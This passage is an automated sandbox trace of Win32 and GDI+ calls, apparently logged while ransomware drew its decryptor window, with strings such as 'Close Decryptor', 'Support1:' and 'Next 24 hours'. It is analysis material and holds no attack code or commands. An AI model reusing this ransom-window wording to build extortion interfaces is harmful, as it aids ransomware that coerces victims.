lpdtp=0x3085c6c | out: lpchText="Support1:", lprc=0x19e708) returned 24 [0176.355] RestoreDC (hdc=0x33010753, nSavedDC=-1) returned 1 [0176.355] GdipReleaseDC (graphics=0x6926780, hdc=0x33010753) returned 0x0 [0176.355] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.355] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=110, cy=24, hdcSrc=0x33010753, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.355] GdipReleaseDC (graphics=0x6926780, hdc=0x33010753) returned 0x0 [0176.355] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.355] SelectObject (hdc=0x33010753, h=0x85000f) returned 0x8050721 [0176.355] DeleteDC (hdc=0x33010753) returned 1 [0176.355] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.355] EndPaint (hWnd=0x80044, lpPaint=0x19e8c8) returned 1 [0176.355] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.355] IsWindowUnicode (hWnd=0x90016) returned 1 [0176.355] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.355] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.356] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.356] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.356] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.356] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0176.356] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0176.356] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0176.356] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.356] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.356] GetSystemMetrics (nIndex=42) returned 0 [0176.356] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd84, nMaxCount=1 | out: lpString="") returned 0 [0176.356] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd84) returned 0x0 [0176.356] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddac | out: lpRect=0x19ddac) returned 1 [0176.356] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.356] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.356] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.357] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.357] SaveDC (hdc=0x10105d6) returned 1 [0176.357] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.357] CreateSolidBrush (color=0x323533) returned 0x5e10073a [0176.357] FillRect (hDC=0x10105d6, lprc=0x19dc4c, hbr=0x5e10073a) returned 1 [0176.357] DeleteObject (ho=0x5e10073a) returned 1 [0176.357] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.357] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.357] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.357] GetSystemMetrics (nIndex=42) returned 0 [0176.357] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.357] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.357] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd4c | out: lpRect=0x19dd4c) returned 1 [0176.357] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.357] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.357] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.357] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.357] SaveDC (hdc=0x10105d6) returned 1 [0176.357] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.358] CreateSolidBrush (color=0x323533) returned 0x5f10073a [0176.358] FillRect (hDC=0x10105d6, lprc=0x19dbec, hbr=0x5f10073a) returned 1 [0176.358] DeleteObject (ho=0x5f10073a) returned 1 [0176.358] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.358] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.358] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.358] GetSystemMetrics (nIndex=42) returned 0 [0176.358] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.358] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.358] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.358] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.359] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.359] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.359] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.359] IsWindowUnicode (hWnd=0x3020e) returned 1 [0176.359] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.359] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.359] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.359] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.359] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.359] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0176.359] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0176.360] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0176.360] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.363] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.363] GetSystemMetrics (nIndex=42) returned 0 [0176.363] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd84, nMaxCount=1 | out: lpString="") returned 0 [0176.363] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd84) returned 0x0 [0176.363] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddac | out: lpRect=0x19ddac) returned 1 [0176.363] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.363] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.363] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.363] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.363] SaveDC (hdc=0x10105d6) returned 1 [0176.363] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.363] CreateSolidBrush (color=0x323533) returned 0x6010073a [0176.363] FillRect (hDC=0x10105d6, lprc=0x19dc4c, hbr=0x6010073a) returned 1 [0176.363] DeleteObject (ho=0x6010073a) returned 1 [0176.363] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.363] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.364] GetSystemMetrics (nIndex=42) returned 0 [0176.364] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.364] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd4c | out: lpRect=0x19dd4c) returned 1 [0176.364] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.364] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.364] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.364] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.364] SaveDC (hdc=0x10105d6) returned 1 [0176.364] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.364] CreateSolidBrush (color=0x323533) returned 0x6110073a [0176.364] FillRect (hDC=0x10105d6, lprc=0x19dbec, hbr=0x6110073a) returned 1 [0176.364] DeleteObject (ho=0x6110073a) returned 1 [0176.364] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.364] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.364] GetSystemMetrics (nIndex=42) returned 0 [0176.364] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.364] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.365] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.365] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.365] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.365] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.365] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.365] IsWindowUnicode (hWnd=0x501dc) returned 1 [0176.366] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.366] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.366] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.366] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.366] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.366] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0176.366] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0176.366] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0176.366] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.366] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.366] GetSystemMetrics (nIndex=42) returned 0 [0176.366] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd84, nMaxCount=1 | out: lpString="") returned 0 [0176.366] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd84) returned 0x0 [0176.366] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddac | out: lpRect=0x19ddac) returned 1 [0176.366] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.366] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.366] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.367] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.367] SaveDC (hdc=0x10105d6) returned 1 [0176.367] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.367] CreateSolidBrush (color=0x323533) returned 0x6210073a [0176.367] FillRect (hDC=0x10105d6, lprc=0x19dc4c, hbr=0x6210073a) returned 1 [0176.367] DeleteObject (ho=0x6210073a) returned 1 [0176.367] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.367] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.367] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.367] GetSystemMetrics (nIndex=42) returned 0 [0176.367] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.367] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.367] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd4c | out: lpRect=0x19dd4c) returned 1 [0176.367] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.367] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.367] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0176.367] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0176.367] SaveDC (hdc=0x10105d6) returned 1 [0176.367] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0176.367] CreateSolidBrush (color=0x323533) returned 0x6310073a [0176.367] FillRect (hDC=0x10105d6, lprc=0x19dbec, hbr=0x6310073a) returned 1 [0176.368] DeleteObject (ho=0x6310073a) returned 1 [0176.368] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0176.368] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.368] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.368] GetSystemMetrics (nIndex=42) returned 0 [0176.368] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd24, nMaxCount=1 | out: lpString="") returned 0 [0176.368] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd24) returned 0x0 [0176.370] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.370] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.370] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.370] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0176.372] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.372] IsWindowUnicode (hWnd=0x70126) returned 1 [0176.372] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.372] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.372] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.372] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0xf, wParam=0x0, lParam=0x0) [0176.372] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.372] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0176.372] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0176.372] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0176.372] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.372] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.372] GetSystemMetrics (nIndex=42) returned 0 [0176.372] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd84, nMaxCount=1 | out: lpString="") returned 0 [0176.372] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd84) returned 0x0 [0176.373] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddac | out: lpRect=0x19ddac) returned 1 [0176.373] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.373] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0176.373] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd4c | out: lpRect=0x19dd4c) returned 1 [0176.373] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.373] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0176.374] BeginPaint (hWnd=0x30212, lpPaint=0x19e8c0) [0176.374] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.374] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x14, wParam=0x1b010670, lParam=0x0) [0176.374] GetStockObject (i=5) returned 0x900015 [0176.374] GdipCreateFromHDC (hdc=0x2f010724, graphics=0x19e8d8) returned 0x0 [0176.374] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.374] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0176.375] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0176.375] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.375] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e938) returned 0x0 [0176.375] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.375] LocalFree (hMem=0xf75c20) returned 0x0 [0176.375] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.375] GdipCreateRegion (region=0x19e920) returned 0x0 [0176.375] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.375] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e92c) returned 0x0 [0176.375] GdipSaveGraphics (graphics=0x6926780, state=0x19e958) returned 0x0 [0176.375] GdipRestoreGraphics (graphics=0x6926780, state=0xfce80dbd) returned 0x0 [0176.375] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.395] GdipGetDC (graphics=0x6926780, hdc=0x19e708) returned 0x0 [0176.395] GdipReleaseDC (graphics=0x6926780, hdc=0x2f010724) returned 0x0 [0176.395] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x2a0a0752 [0176.396] GdipCreateRegion (region=0x19e64c) returned 0x0 [0176.396] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.396] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0176.396] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.396] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0176.396] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.396] LocalFree (hMem=0xf75c20) returned 0x0 [0176.396] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.396] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.396] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.396] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e68c) returned 0x0 [0176.396] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e67c) returned 0x0 [0176.396] GdipGetRegionHRgn (region=0x6923a20, graphics=0x6926780, hRgn=0x19e67c) returned 0x0 [0176.397] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.397] GdipGetDC (graphics=0x6926780, hdc=0x19e694) returned 0x0 [0176.397] GdipReleaseDC (graphics=0x6926780, hdc=0x2f010724) returned 0x0 [0176.397] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e710) returned 0x0 [0176.397] GdipGetDC (graphics=0x6926780, hdc=0x19e6fc) returned 0x0 [0176.397] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0176.397] SelectObject (hdc=0x2f010724, h=0x110a0722) returned 0x8a01c2 [0176.397] GetBkMode (hdc=0x2f010724) returned 2 [0176.397] SetBkMode (hdc=0x2f010724, mode=1) returned 2 [0176.397] DrawTextExW (in: hdc=0x2f010724, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x3087680 | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0176.397] DrawTextExW (in: hdc=0x2f010724, lpchText="Close Decryptor", cchText=15, lprc=0x19e690, format=0x102015, lpdtp=0x3087680 | out: lpchText="Close Decryptor", lprc=0x19e690) returned 60 [0176.398] RestoreDC (hdc=0x2f010724, nSavedDC=-1) returned 1 [0176.398] GdipReleaseDC (graphics=0x6926780, hdc=0x2f010724) returned 0x0 [0176.398] GetFocus () returned 0x0 [0176.398] GetFocus () returned 0x0 [0176.398] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0176.398] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0176.398] GdipDeletePen (pen=0x6915e78) returned 0x0 [0176.398] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0176.398] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0176.398] GdipDeletePen (pen=0x6915e78) returned 0x0 [0176.398] GdipGetDC (graphics=0x6926780, hdc=0x19e918) returned 0x0 [0176.398] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x2f010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.399] GdipReleaseDC (graphics=0x6926780, hdc=0x2f010724) returned 0x0 [0176.399] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.399] SelectObject (hdc=0x2f010724, h=0x85000f) returned 0x8050721 [0176.399] DeleteDC (hdc=0x2f010724) returned 1 [0176.399] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.399] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0176.399] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.399] IsWindowUnicode (hWnd=0xa020a) returned 1 [0176.399] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.399] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.399] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.399] BeginPaint (in: hWnd=0xa020a, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0176.399] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.400] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0176.400] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0176.400] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.400] GetSystemMetrics (nIndex=42) returned 0 [0176.400] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0176.400] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0176.400] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0176.400] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0176.400] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0176.400] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0176.400] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0176.400] SaveDC (hdc=0x1b010670) returned 1 [0176.400] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0176.400] CreateSolidBrush (color=0x323533) returned 0x6710073a [0176.400] FillRect (hDC=0x1b010670, lprc=0x19e344, hbr=0x6710073a) returned 1 [0176.400] DeleteObject (ho=0x6710073a) returned 1 [0176.400] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0176.400] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.400] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0176.401] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.401] GetSystemMetrics (nIndex=42) returned 0 [0176.401] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0176.401] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0176.401] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.401] EndPaint (hWnd=0xa020a, lpPaint=0x19e8f8) returned 1 [0176.401] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.401] IsWindowUnicode (hWnd=0x8020c) returned 1 [0176.401] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.401] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.401] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.401] BeginPaint (in: hWnd=0x8020c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0176.401] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.401] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.402] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x35010724 [0176.402] SelectObject (hdc=0x35010724, h=0x8050721) returned 0x85000f [0176.402] GdipCreateFromHDC (hdc=0x35010724, graphics=0x19e8e4) returned 0x0 [0176.402] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.402] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=170, height=29, combineMode=0x0) returned 0x0 [0176.402] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.402] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.402] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.402] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.402] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.402] LocalFree (hMem=0xf75c20) returned 0x0 [0176.402] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.402] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.402] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.402] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.402] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.402] GetWindowTextLengthW (hWnd=0x8020c) returned 13 [0176.402] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0176.402] GetSystemMetrics (nIndex=42) returned 0 [0176.402] GetWindowTextW (in: hWnd=0x8020c, lpString=0x19e864, nMaxCount=14 | out: lpString="Next 24 hours") returned 13 [0176.402] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xd, wParam=0xe, lParam=0x19e864) returned 0xd [0176.402] GetClientRect (in: hWnd=0x8020c, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.402] GdipCreateRegion 